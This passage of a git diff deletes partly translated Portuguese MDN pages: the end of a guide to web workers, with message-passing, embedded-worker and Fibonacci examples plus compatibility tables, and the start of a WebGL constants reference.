-console.log(typeof emulateMessage(example4)); // object
-
-// test #5
-function Animal(sType, nAge) {
-    this.type = sType;
-    this.age = nAge;
-}
-var example5 = new Animal('Cat', 3);
-alert(example5.constructor); // Animal
-alert(emulateMessage(example5).constructor); // Object
- -

A value that is cloned and not shared is called message. As you will probably know by now, messages can be sent to and from the main thread by using postMessage(), and the message event's {{domxref("MessageEvent.data", "data")}} attribute contains data passed back from the worker.

- -

example.html: (a página principal):

- -
var myWorker = new Worker('my_task.js');
-
-myWorker.onmessage = function(oEvent) {
-  console.log('Worker said : ' + oEvent.data);
-};
-
-myWorker.postMessage('ali');
- -

my_task.js (o worker):

- -
postMessage("I\'m working before postMessage(\'ali\').");
-
-onmessage = function(oEvent) {
-  postMessage('Hi ' + oEvent.data);
-};
- -

The structured cloning algorithm can accept JSON and a few things that JSON can't — like circular references.

- -

Passagem de exemplos de dados

- -

Exemplo #1: Criar um genérico "assíncrono eval()"

- -

The following example shows how to use a worker in order to asynchronously execute any JavaScript code allowed in a worker, through eval() within the worker:

- -
// Syntax: asyncEval(code[, listener])
-
-var asyncEval = (function () {
-  var aListeners = [], oParser = new Worker('data:text/javascript;charset=US-ASCII,onmessage%20%3D%20function%20%28oEvent%29%20%7B%0A%09postMessage%28%7B%0A%09%09%22id%22%3A%20oEvent.data.id%2C%0A%09%09%22evaluated%22%3A%20eval%28oEvent.data.code%29%0A%09%7D%29%3B%0A%7D');
-
-  oParser.onmessage = function(oEvent) {
-    if (aListeners[oEvent.data.id]) { aListeners[oEvent.data.id](oEvent.data.evaluated); }
-    delete aListeners[oEvent.data.id];
-  };
-
-  return function(sCode, fListener) {
-    aListeners.push(fListener || null);
-    oParser.postMessage({
-      'id': aListeners.length - 1,
-      'code': sCode
-    });
-  };
-})();
- -

The data URL is equivalent to a network request, with the following response:

- -
onmessage = function(oEvent) {
-  postMessage({
-    'id': oEvent.data.id,
-    'evaluated': eval(oEvent.data.code)
-  });
-}
- -

Amostra de utilização:

- -
// asynchronous alert message...
-asyncEval('3 + 2', function(sMessage) {
-    alert('3 + 2 = ' + sMessage);
-});
-
-// asynchronous print message...
-asyncEval("\"Hello World!!!\"", function(sHTML) {
-    document.body.appendChild(document.createTextNode(sHTML));
-});
-
-// asynchronous void...
-asyncEval("(function () {\n\tvar oReq = new XMLHttpRequest();\n\toReq.open(\"get\", \"http://www.mozilla.org/\", false);\n\toReq.send(null);\n\treturn oReq.responseText;\n})()");
- -

Exemplo #2: Passagem avançada da 'Dados' JSON e criar um sistema de troca

- -

If you have to pass some complex data and have to call many different functions both on the main page and in the Worker, you can create a system which groups everything together.

- -

First, we create a QueryableWorker class that takes the url of the worker, a default listener, and an error handler, and this class is going to keep track of a list of listeners and help us communicate with the worker:

- -
function QueryableWorker(url, defaultListener, onError) {
-    var instance = this,
-        worker = new Worker(url),
-        listeners = {};
-
-    this.defaultListener = defaultListener || function() {};
-
-    if (onError) {worker.onerror = onError;}
-
-    this.postMessage = function(message) {
-        worker.postMessage(message);
-    }
-
-    this.terminate = function() {
-        worker.terminate();
-    }
-}
- -

Then we add the methods of adding/removing listeners:

- -
this.addListeners = function(name, listener) {
-    listeners[name] = listener;
-}
-
-this.removeListeners = function(name) {
-    delete listeners[name];
-}
- -

Here we let the worker handle two simple operations for illustration: getting the difference of two numbers and making an alert after three seconds. In order to achieve that we first implement a sendQuery method which queries if the worker actually has the corresponding methods to do what we want.

- -
/*
-  This functions takes at least one argument, the method name we want to query.
-  Then we can pass in the arguments that the method needs.
- */
-this.sendQuery = function() {
-    if (arguments.length < 1) {
-         throw new TypeError('QueryableWorker.sendQuery takes at least one argument');
-         return;
-    }
-    worker.postMessage({
-        'queryMethod': arguments[0],
-        'queryArguments': Array.prototype.slice.call(arguments, 1)
-    });
-}
- -

We finish QueryableWorker with the onmessage method. If the worker has the corresponding methods we queried, it should return the name of the corresponding listener and the arguments it needs, we just need to find it in listeners.:

- -
worker.onmessage = function(event) {
-    if (event.data instanceof Object &&
-        event.data.hasOwnProperty('queryMethodListener') &&
-        event.data.hasOwnProperty('queryMethodArguments')) {
-        listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
-    } else {
-        this.defaultListener.call(instance, event.data);
-    }
-}
-
- -

Now onto the worker.  First we need to have the methods to handle the two simple operations:

- -
var queryableFunctions = {
-    getDifference: function(a, b) {
-        reply('printStuff', a - b);
-    },
-    waitSomeTime: function() {
-        setTimeout(function() {
-            reply('doAlert', 3, 'seconds');
-        }, 3000);
-    }
-}
-
-function reply() {
-    if (arguments.length < 1) {
-        throw new TypeError('reply - takes at least one argument');
-        return;
-    }
-    postMessage({
-        queryMethodListener: arguments[0],
-        queryMethodArguments: Array.prototype.slice.call(arguments, 1)
-    });
-}
-
-/* This method is called when main page calls QueryWorker's postMessage method directly*/
-function defaultReply(message) {
-    // do something
-}
-
- -

And the onmessage method is now trivial:

- -
onmessage = function(event) {
-    if (event.data instanceof Object &&
-        event.data.hasOwnProperty('queryMethod') &&
-        event.data.hasOwnProperty('queryMethodArguments')) {
-        queryableFunctions[event.data.queryMethod]
-            .apply(self, event.data.queryMethodArguments);
-    } else {
-        defaultReply(event.data);
-    }
-}
-
- -

Here are the full implementation:

- -

example.html (the main page):

- -
<!doctype html>
-  <html>
-    <head>
-      <meta charset="UTF-8"  />
-      <title>MDN Example - Queryable worker</title>
-    <script type="text/javascript">
-    /*
-      QueryableWorker instances methods:
-        * sendQuery(queryable function name, argument to pass 1, argument to pass 2, etc. etc): calls a Worker's queryable function
-        * postMessage(string or JSON Data): see Worker.prototype.postMessage()
-        * terminate(): terminates the Worker
-        * addListener(name, function): adds a listener
-        * removeListener(name): removes a listener
-      QueryableWorker instances properties:
-        * defaultListener: the default listener executed only when the Worker calls the postMessage() function directly
-     */
-    function QueryableWorker(url, defaultListener, onError) {
-      var instance = this,
-      worker = new Worker(url),
-      listeners = {};
-
-      this.defaultListener = defaultListener || function() {};
-
-      if (onError) {worker.onerror = onError;}
-
-      this.postMessage = function(message) {
-        worker.postMessage(message);
-      }
-
-      this.terminate = function() {
-        worker.terminate();
-      }
-
-      this.addListener = function(name, listener) {
-        listeners[name] = listener;
-      }
-
-      this.removeListener = function(name) {
-        delete listeners[name];
-      }
-
-      /*
-        This functions takes at least one argument, the method name we want to query.
-        Then we can pass in the arguments that the method needs.
-      */
-      this.sendQuery = function() {
-        if (arguments.length < 1) {
-          throw new TypeError('QueryableWorker.sendQuery takes at least one argument');
-          return;
-        }
-        worker.postMessage({
-          'queryMethod': arguments[0],
-          'queryMethodArguments': Array.prototype.slice.call(arguments, 1)
-        });
-      }
-
-      worker.onmessage = function(event) {
-        if (event.data instanceof Object &&
-          event.data.hasOwnProperty('queryMethodListener') &&
-          event.data.hasOwnProperty('queryMethodArguments')) {
-          listeners[event.data.queryMethodListener].apply(instance, event.data.queryMethodArguments);
-        } else {
-          this.defaultListener.call(instance, event.data);
-        }
-      }
-    }
-
-    // your custom "queryable" worker
-    var myTask = new QueryableWorker('my_task.js');
-
-    // your custom "listeners"
-    myTask.addListener('printStuff', function (result) {
-      document.getElementById('firstLink').parentNode.appendChild(document.createTextNode('The difference is ' + result + '!'));
-    });
-
-    myTask.addListener('doAlert', function (time, unit) {
-      alert('Worker waited for ' + time + ' ' + unit + ' :-)');
-    });
-</script>
-</head>
-<body>
-  <ul>
-    <li><a id="firstLink" href="javascript:myTask.sendQuery('getDifference', 5, 3);">What is the difference between 5 and 3?</a></li>
-    <li><a href="javascript:myTask.sendQuery('waitSomeTime');">Wait 3 seconds</a></li>
-    <li><a href="javascript:myTask.terminate();">terminate() the Worker</a></li>
-  </ul>
-</body>
-</html>
- -

my_task.js (o worker):

- -
var queryableFunctions = {
-  // example #1: get the difference between two numbers:
-  getDifference: function(nMinuend, nSubtrahend) {
-      reply('printStuff', nMinuend - nSubtrahend);
-  },
-  // example #2: wait three seconds
-  waitSomeTime: function() {
-      setTimeout(function() { reply('doAlert', 3, 'seconds'); }, 3000);
-  }
-};
-
-// system functions
-
-function defaultReply(message) {
-  // your default PUBLIC function executed only when main page calls the queryableWorker.postMessage() method directly
-  // do something
-}
-
-function reply() {
-  if (arguments.length < 1) { throw new TypeError('reply - not enough arguments'); return; }
-  postMessage({ 'queryMethodListener': arguments[0], 'queryMethodArguments': Array.prototype.slice.call(arguments, 1) });
-}
-
-onmessage = function(oEvent) {
-  if (oEvent.data instanceof Object && oEvent.data.hasOwnProperty('queryMethod') && oEvent.data.hasOwnProperty('queryMethodArguments')) {
-    queryableFunctions[oEvent.data.queryMethod].apply(self, oEvent.data.queryMethodArguments);
-  } else {
-    defaultReply(oEvent.data);
-  }
-};
- -

It is possible to switch the content of each mainpage -> worker and worker -> mainpage message. And the property names "queryMethod", "queryMethodListeners", "queryMethodArguments" can be anything as long as they are consistent in QueryableWorker and the worker.

- -

Passing data by transferring ownership (transferable objects)

- -

Google Chrome 17+ and Firefox 18+ contain an additional way to pass certain types of objects (transferable objects, that is objects implementing the {{domxref("Transferable")}} interface) to or from a worker with high performance. Transferable objects are transferred from one context to another with a zero-copy operation, which results in a vast performance improvement when sending large data sets. Think of it as pass-by-reference if you're from the C/C++ world. However, unlike pass-by-reference, the 'version' from the calling context is no longer available once transferred. Its ownership is transferred to the new context. For example, when transferring an {{domxref("ArrayBuffer")}} from your main app to a worker script, the original {{domxref("ArrayBuffer")}} is cleared and no longer usable. Its content is (quite literally) transferred to the worker context.

- -
// Create a 32MB "file" and fill it.
-var uInt8Array = new Uint8Array(1024 * 1024 * 32); // 32MB
-for (var i = 0; i < uInt8Array.length; ++i) {
-  uInt8Array[i] = i;
-}
-
-worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);
-
- -
-

Nota: For more information on transferable objects, performance, and feature-detection for this method, read Transferable Objects: Lightning Fast! on HTML5 Rocks.

-
- -

Workers integrados

- -

There is not an "official" way to embed the code of a worker within a web page, like {{HTMLElement("script")}} elements do for normal scripts. But a {{HTMLElement("script")}} element that does not have a src attribute and has a type attribute that does not identify an executable MIME type can be considered a data block element that JavaScript could use. "Data blocks" is a more general feature of HTML5 that can carry almost any textual data. So, a worker could be embedded in this way:

- -
<!DOCTYPE html>
-<html>
-<head>
-<meta charset="UTF-8" />
-<title>MDN Example - Embedded worker</title>
-<script type="text/js-worker">
-  // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
-  var myVar = 'Hello World!';
-  // Rest of your worker code goes here.
-</script>
-<script type="text/javascript">
-  // This script WILL be parsed by JS engines because its MIME type is text/javascript.
-  function pageLog(sMsg) {
-    // Use a fragment: browser will only render/reflow once.
-    var oFragm = document.createDocumentFragment();
-    oFragm.appendChild(document.createTextNode(sMsg));
-    oFragm.appendChild(document.createElement('br'));
-    document.querySelector('#logDisplay').appendChild(oFragm);
-  }
-</script>
-<script type="text/js-worker">
-  // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
-  onmessage = function(oEvent) {
-    postMessage(myVar);
-  };
-  // Rest of your worker code goes here.
-</script>
-<script type="text/javascript">
-  // This script WILL be parsed by JS engines because its MIME type is text/javascript.
-
-  // In the past...:
-  // blob builder existed
-  // ...but now we use Blob...:
-  var blob = new Blob(Array.prototype.map.call(document.querySelectorAll('script[type=\'text\/js-worker\']'), function (oScript) { return oScript.textContent; }),{type: 'text/javascript'});
-
-  // Creating a new document.worker property containing all our "text/js-worker" scripts.
-  document.worker = new Worker(window.URL.createObjectURL(blob));
-
-  document.worker.onmessage = function(oEvent) {
-    pageLog('Received: ' + oEvent.data);
-  };
-
-  // Start the worker.
-  window.onload = function() { document.worker.postMessage(''); };
-</script>
-</head>
-<body><div id="logDisplay"></div></body>
-</html>
- -

The embedded worker is now nested into a new custom document.worker property.

- -

It is also worth noting that you can also convert a function into a Blob, then generate an object URL from that blob. For example:

- -
function fn2workerURL(fn) {
-  var blob = new Blob(['('+fn.toString()+')()'], {type: 'application/javascript'})
-  return URL.createObjectURL(blob)
-}
- -

Exemplos adicionais

- -

This section provides further examples of how to use web workers.

- -

Realizar computações em segundo plano

- -

Workers are mainly useful for allowing your code to perform processor-intensive calculations without blocking the user interface thread. In this example, a worker is used to calculate Fibonacci numbers.

- -

O código de JavaScript

- -

The following JavaScript code is stored in the "fibonacci.js" file referenced by the HTML in the next section.

- -
var results = [];
-
-function resultReceiver(event) {
-  results.push(parseInt(event.data));
-  if (results.length == 2) {
-    postMessage(results[0] + results[1]);
-  }
-}
-
-function errorReceiver(event) {
-  throw event.data;
-}
-
-onmessage = function(event) {
-  var n = parseInt(event.data);
-
-  if (n == 0 || n == 1) {
-    postMessage(n);
-    return;
-  }
-
-  for (var i = 1; i <= 2; i++) {
-    var worker = new Worker('fibonacci.js');
-    worker.onmessage = resultReceiver;
-    worker.onerror = errorReceiver;
-    worker.postMessage(n - i);
-  }
- };
- -

The worker sets the property onmessage to a function which will receive messages sent when the worker object's postMessage() is called (note that this differs from defining a global variable of that name, or defining a function with that name. var onmessage and function onmessage will define global properties with those names, but they will not register the function to receive messages sent by the web page that created the worker). This starts the recursion, spawning new copies of itself to handle each iteration of the calculation.

- -

O código de HTML

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="UTF-8"  />
-    <title>Test threads fibonacci</title>
-  </head>
-  <body>
-
-  <div id="result"></div>
-
-  <script language="javascript">
-
-    var worker = new Worker('fibonacci.js');
-
-    worker.onmessage = function(event) {
-      document.getElementById('result').textContent = event.data;
-      dump('Got: ' + event.data + '\n');
-    };
-
-    worker.onerror = function(error) {
-      dump('Worker error: ' + error.message + '\n');
-      throw error;
-    };
-
-    worker.postMessage('5');
-
-  </script>
-  </body>
-</html>
-
- -

The web page creates a div element with the ID result , which gets used to display the result, then spawns the worker. After spawning the worker, the onmessage handler is configured to display the results by setting the contents of the div element, and the onerror handler is set to dump the error message.

- -

Finally, a message is sent to the worker to start it.

- -

Try this example.

- -

Executar I/O da Web em segundo plano

- -

You can find an example of this in the article Using workers in extensions .

- -

Dividir tarefas entre mútiplos workers

- -

As multi-core computers become increasingly common, it's often useful to divide computationally complex tasks among multiple workers, which may then perform those tasks on multiple-processor cores.

- -

Outros tipos de worker

- -

In addition to dedicated and shared web workers, there are other types of worker available:

- -
    -
  • ServiceWorkers essentially act as proxy servers that sit between web applications, and the browser and network (when available). They are intended to (amongst other things) enable the creation of effective offline experiences, intercepting network requests and taking appropriate action based on whether the network is available and updated assets reside on the server. They will also allow access to push notifications and background sync APIs.
  • -
  • Chrome Workers are a Firefox-only type of worker that you can use if you are developing add-ons and want to use workers in extensions and have access to js-ctypes in your worker. See {{domxref("ChromeWorker")}} for more details.
  • -
  • Audio Workers provide the ability for direct scripted audio processing to be done in a web worker context.
  • -
- -

Funções e interfaces disponíveis nos workers

- -

You can use most standard JavaScript features inside a web worker, including:

- -
    -
  • {{domxref("Navigator")}}
  • -
  • {{domxref("XMLHttpRequest")}}
  • -
  • {{jsxref("Global_Objects/Array", "Array")}}, {{jsxref("Global_Objects/Date", "Date")}}, {{jsxref("Global_Objects/Math", "Math")}}, and {{jsxref("Global_Objects/String", "String")}}
  • -
  • {{domxref("WindowTimers.setTimeout")}} and {{domxref("WindowTimers.setInterval")}}
  • -
- -

The main thing you can't do in a Worker is directly affect the parent page. This includes manipulating the DOM and using that page's objects. You have to do it indirectly, by sending a message back to the main script via {{domxref("DedicatedWorkerGlobalScope.postMessage")}}, then actioning the changes from there.

- -
-

Note: For a complete list of functions available to workers, see Functions and interfaces available to workers.

-
- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('HTML WHATWG', '#workers', 'Web workers')}}{{Spec2('HTML WHATWG')}} 
- -

Compatibilidade de navegador

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4[1]{{CompatGeckoDesktop("1.9.1")}}10.010.6[1]4[2]
Shared workers4[1]{{CompatGeckoDesktop(29)}}{{CompatNo}}10.65
- {{CompatNo}} 6.1[4]
Passing data using structured cloning13{{CompatGeckoDesktop(8)}}10.011.56
Passing data using transferable objects17 {{property_prefix("webkit")}}
- 21
{{CompatGeckoDesktop(18)}}{{CompatNo}}156
Global {{domxref("window.URL", "URL")}}10[3]
- 23
{{CompatGeckoDesktop(21)}}11156[3]
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.44[1]3.51.0.110.011.5[1]5.1[2]
Shared workers{{CompatNo}}4[1]81.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Passing data using structured cloning{{CompatNo}}481.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
Passing data using transferable objects{{CompatNo}}{{CompatNo}}181.0.1{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Chrome and Opera give an error "Uncaught SecurityError: Failed to construct 'Worker': Script at 'file:///Path/to/worker.js' cannot be accessed from origin 'null'." when you try to run a worker locally. It needs to be on a proper domain.

- -

[2] As of Safari 7.1.2, you can call console.log from inside a worker, but it won't print anything to the console. Older versions of Safari don't allow you to call console.log from inside a worker.

- -

[3] This feature is implemented prefixed as webkitURL.

- -

[4] Safari removed SharedWorker support.

- -

Consultar também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/webgl_api/constants/index.html b/files/pt-pt/web/api/webgl_api/constants/index.html deleted file mode 100644 index 2ebc509bcd..0000000000 --- a/files/pt-pt/web/api/webgl_api/constants/index.html +++ /dev/null @@ -1,4024 +0,0 @@ ---- -title: Contantes de WebGL -slug: Web/API/WebGL_API/Constants -tags: - - API - - Referencia - - WebGL - - constantes -translation_of: Web/API/WebGL_API/Constants -original_slug: Web/API/WebGL_API/Constantes ---- -
{{WebGLSidebar}}
- -

The WebGL API provides several constants that are passed into or returned by functions. All constants are of type {{domxref("GLenum")}}.

- -

Standard WebGL constants are installed on the {{domxref("WebGLRenderingContext")}} and {{domxref("WebGL2RenderingContext")}} objects, so that you use them as gl.CONSTANT_NAME:

- -
var canvas = document.getElementById('myCanvas');
-var gl = canvas.getContext('webgl');
-
-gl.getParameter(gl.LINE_WIDTH);
-
- -

Some constants are also provided by WebGL extensions. A list is provided below.

- -
var debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
-var vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
- -

The WebGL tutorial has more information, examples, and resources on how to get started with WebGL.

- -

Tabela de conteúdos

- - - -

Standard WebGL 1 constants

- -

These constants are defined on the {{domxref("WebGLRenderingContext")}} interface.

- -

Limpar buffers

- -

Constants passed to {{domxref("WebGLRenderingContext.clear()")}} to clear buffer masks.

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
DEPTH_BUFFER_BIT0x00000100Passed to clear to clear the current depth buffer.
STENCIL_BUFFER_BIT0x00000400Passed to clear to clear the current stencil buffer.
COLOR_BUFFER_BIT0x00004000Passed to clear to clear the current color buffer.
- -

Renderizar primitivos

- -

Constants passed to {{domxref("WebGLRenderingContext.drawElements()")}} or {{domxref("WebGLRenderingContext.drawArrays()")}} to specify what kind of primitive to render.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
POINTS0x0000Passed to drawElements or drawArrays to draw single points.
LINES0x0001Passed to drawElements or drawArrays to draw lines. Each vertex connects to the one after it.
LINE_LOOP0x0002Passed to drawElements or drawArrays to draw lines. Each set of two vertices is treated as a separate line segment.
LINE_STRIP0x0003Passed to drawElements or drawArrays to draw a connected group of line segments from the first vertex to the last.
TRIANGLES0x0004Passed to drawElements or drawArrays to draw triangles. Each set of three vertices creates a separate triangle.
TRIANGLE_STRIP0x0005Passed to drawElements or drawArrays to draw a connected group of triangles.
TRIANGLE_FAN0x0006Passed to drawElements or drawArrays to draw a connected group of triangles. Each vertex connects to the previous and the first vertex in the fan.
- -

Modos de mistura

- -

Constants passed to {{domxref("WebGLRenderingContext.blendFunc()")}} or {{domxref("WebGLRenderingContext.blendFuncSeparate()")}} to specify the blending mode (for both, RBG and alpha, or separately).

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome da constanteValorDescrição
ZERO0Passed to blendFunc or blendFuncSeparate to turn off a component.
ONE1Passed to blendFunc or blendFuncSeparate to turn on a component.
SRC_COLOR0x0300Passed to blendFunc or blendFuncSeparate to multiply a component by the source elements color.
ONE_MINUS_SRC_COLOR0x0301Passed to blendFunc or blendFuncSeparate to multiply a component by one minus the source elements color.
SRC_ALPHA0x0302Passed to blendFunc or blendFuncSeparate to multiply a component by the source's alpha.
ONE_MINUS_SRC_ALPHA0x0303Passed to blendFunc or blendFuncSeparate to multiply a component by one minus the source's alpha.
DST_ALPHA0x0304Passed to blendFunc or blendFuncSeparate to multiply a component by the destination's alpha.
ONE_MINUS_DST_ALPHA0x0305Passed to blendFunc or blendFuncSeparate to multiply a component by one minus the destination's alpha.
DST_COLOR0x0306Passed to blendFunc or blendFuncSeparate to multiply a component by the destination's color.
ONE_MINUS_DST_COLOR0x0307Passed to blendFunc or blendFuncSeparate to multiply a component by one minus the destination's color.
SRC_ALPHA_SATURATE0x0308Passed to blendFunc or blendFuncSeparate to multiply a component by the minimum of source's alpha or one minus the destination's alpha.
CONSTANT_COLOR0x8001Passed to blendFunc or blendFuncSeparate to specify a constant color blend function.
ONE_MINUS_CONSTANT_COLOR0x8002Passed to blendFunc or blendFuncSeparate to specify one minus a constant color blend function.
CONSTANT_ALPHA0x8003Passed to blendFunc or blendFuncSeparate to specify a constant alpha blend function.
ONE_MINUS_CONSTANT_ALPHA0x8004Passed to blendFunc or blendFuncSeparate to specify one minus a constant alpha blend function.
- -

Equações de mistura

- -

Constants passed to {{domxref("WebGLRenderingContext.blendEquation()")}} or {{domxref("WebGLRenderingContext.blendEquationSeparate()")}} to control how the blending is calculated (for both, RBG and alpha, or separately).

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome da constanteValorDescrição
FUNC_ADD0x8006Passed to blendEquation or blendEquationSeparate to set an addition blend function.
FUNC_SUBSTRACT0x800APassed to blendEquation or blendEquationSeparate to specify a subtraction blend function (source - destination).
FUNC_REVERSE_SUBTRACT0x800BPassed to blendEquation or blendEquationSeparate to specify a reverse subtraction blend function (destination - source).
- -

Obter informação do parâmetro GL

- -

Constants passed to {{domxref("WebGLRenderingContext.getParameter()")}} to specify what information to return.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome da constanteValorDescrição
BLEND_EQUATION0x8009Passed to getParameter to get the current RGB blend function.
BLEND_EQUATION_RGB0x8009Passed to getParameter to get the current RGB blend function. Same as BLEND_EQUATION
BLEND_EQUATION_ALPHA0x883DPassed to getParameter to get the current alpha blend function. Same as BLEND_EQUATION
BLEND_DST_RGB0x80C8Passed to getParameter to get the current destination RGB blend function.
BLEND_SRC_RGB0x80C9Passed to getParameter to get the current destination RGB blend function.
BLEND_DST_ALPHA0x80CAPassed to getParameter to get the current destination alpha blend function.
BLEND_SRC_ALPHA0x80CBPassed to getParameter to get the current source alpha blend function.
BLEND_COLOR0x8005Passed to getParameter to return a the current blend color.
ARRAY_BUFFER_BINDING0x8894Passed to getParameter to get the array buffer binding.
ELEMENT_ARRAY_BUFFER_BINDING0x8895Passed to getParameter to get the current element array buffer.
LINE_WIDTH0x0B21Passed to getParameter to get the current lineWidth (set by the lineWidth method).
ALIASED_POINT_SIZE_RANGE0x846DPassed to getParameter to get the current size of a point drawn with gl.POINTS
ALIASED_LINE_WIDTH_RANGE0x846EPassed to getParameter to get the range of available widths for a line. Returns a length-2 array with the lo value at 0, and hight at 1.
CULL_FACE_MODE0x0B45Passed to getParameter to get the current value of cullFace. Should return FRONT, BACK, or FRONT_AND_BACK
FRONT_FACE0x0B46Passed to getParameter to determine the current value of frontFace. Should return CW or CCW.
DEPTH_RANGE0x0B70Passed to getParameter to return a length-2 array of floats giving the current depth range.
DEPTH_WRITEMASK0x0B72Passed to getParameter to determine if the depth write mask is enabled.
DEPTH_CLEAR_VALUE0x0B73Passed to getParameter to determine the current depth clear value.
DEPTH_FUNC0x0B74Passed to getParameter to get the current depth function. Returns NEVER, ALWAYS, LESS, EQUAL, LEQUAL, GREATER, GEQUAL, or NOTEQUAL.
STENCIL_CLEAR_VALUE0x0B91Passed to getParameter to get the value the stencil will be cleared to.
STENCIL_FUNC0x0B92Passed to getParameter to get the current stencil function. Returns NEVER, ALWAYS, LESS, EQUAL, LEQUAL, GREATER, GEQUAL, or NOTEQUAL.
STENCIL_FAIL0x0B94Passed to getParameter to get the current stencil fail function. Should return KEEP, REPLACE, INCR, DECR, INVERT, INCR_WRAP, or DECR_WRAP.
STENCIL_PASS_DEPTH_FAIL0x0B95Passed to getParameter to get the current stencil fail function should the depth buffer test fail. Should return KEEP, REPLACE, INCR, DECR, INVERT, INCR_WRAP, or DECR_WRAP.
STENCIL_PASS_DEPTH_PASS0x0B96Passed to getParameter to get the current stencil fail function should the depth buffer test pass. Should return KEEP, REPLACE, INCR, DECR, INVERT, INCR_WRAP, or DECR_WRAP.
STENCIL_REF0x0B97Passed to getParameter to get the reference value used for stencil tests.
STENCIL_VALUE_MASK0x0B93 
STENCIL_WRITEMASK0x0B98 
STENCIL_BACK_FUNC0x8800 
STENCIL_BACK_FAIL0x8801 
STENCIL_BACK_PASS_DEPTH_FAIL0x8802 
STENCIL_BACK_PASS_DEPTH_PASS0x8803 
STENCIL_BACK_REF0x8CA3 
STENCIL_BACK_VALUE_MASK0x8CA4 
STENCIL_BACK_WRITEMASK0x8CA5 
VIEWPORT0x0BA2Returns an {{jsxref("Int32Array")}} with four elements for the current viewport dimensions.
SCISSOR_BOX0x0C10Returns an {{jsxref("Int32Array")}} with four elements for the current scissor box dimensions.
COLOR_CLEAR_VALUE0x0C22 
COLOR_WRITEMASK0x0C23 
UNPACK_ALIGNMENT0x0CF5 
PACK_ALIGNMENT0x0D05 
MAX_TEXTURE_SIZE0x0D33 
MAX_VIEWPORT_DIMS0x0D3A 
SUBPIXEL_BITS0x0D50 
RED_BITS0x0D52 
GREEN_BITS0x0D53 
BLUE_BITS0x0D54 
ALPHA_BITS0x0D55 
DEPTH_BITS0x0D56 
STENCIL_BITS0x0D57 
POLYGON_OFFSET_UNITS0x2A00 
POLYGON_OFFSET_FACTOR0x8038 
TEXTURE_BINDING_2D0x8069 
SAMPLE_BUFFERS0x80A8 
SAMPLES0x80A9 
SAMPLE_COVERAGE_VALUE0x80AA 
SAMPLE_COVERAGE_INVERT0x80AB 
COMPRESSED_TEXTURE_FORMATS0x86A3 
VENDOR0x1F00 
RENDERER0x1F01 
VERSION0x1F02 
IMPLEMENTATION_COLOR_READ_TYPE0x8B9A 
IMPLEMENTATION_COLOR_READ_FORMAT0x8B9B 
BROWSER_DEFAULT_WEBGL0x9244 
- -

Buffers

- -

Constants passed to {{domxref("WebGLRenderingContext.bufferData()")}}, {{domxref("WebGLRenderingContext.bufferSubData()")}}, {{domxref("WebGLRenderingContext.bindBuffer()")}}, or {{domxref("WebGLRenderingContext.getBufferParameter()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
STATIC_DRAW0x88E4Passed to bufferData as a hint about whether the contents of the buffer are likely to be used often and not change often.
STREAM_DRAW0x88E0Passed to bufferData as a hint about whether the contents of the buffer are likely to not be used often.
DYNAMIC_DRAW0x88E8Passed to bufferData as a hint about whether the contents of the buffer are likely to be used often and change often.
ARRAY_BUFFER0x8892Passed to bindBuffer or bufferData to specify the type of buffer being used.
ELEMENT_ARRAY_BUFFER0x8893Passed to bindBuffer or bufferData to specify the type of buffer being used.
BUFFER_SIZE0x8764Passed to getBufferParameter to get a buffer's size.
BUFFER_USAGE0x8765Passed to getBufferParameter to get the hint for the buffer passed in when it was created.
- -

Atributos de Vertex

- -

Constants passed to {{domxref("WebGLRenderingContext.getVertexAttrib()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome da constanteValorDescrição
CURRENT_VERTEX_ATTRIB0x8626Passed to getVertexAttrib to read back the current vertex attribute.
VERTEX_ATTRIB_ARRAY_ENABLED0x8622 
VERTEX_ATTRIB_ARRAY_SIZE0x8623 
VERTEX_ATTRIB_ARRAY_STRIDE0x8624 
VERTEX_ATTRIB_ARRAY_TYPE0x8625 
VERTEX_ATTRIB_ARRAY_NORMALIZED0x886A 
VERTEX_ATTRIB_ARRAY_POINTER0x8645 
VERTEX_ATTRIB_ARRAY_BUFFER_BINDING0x889F 
- -

Culling

- -

Constants passed to {{domxref("WebGLRenderingContext.cullFace()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
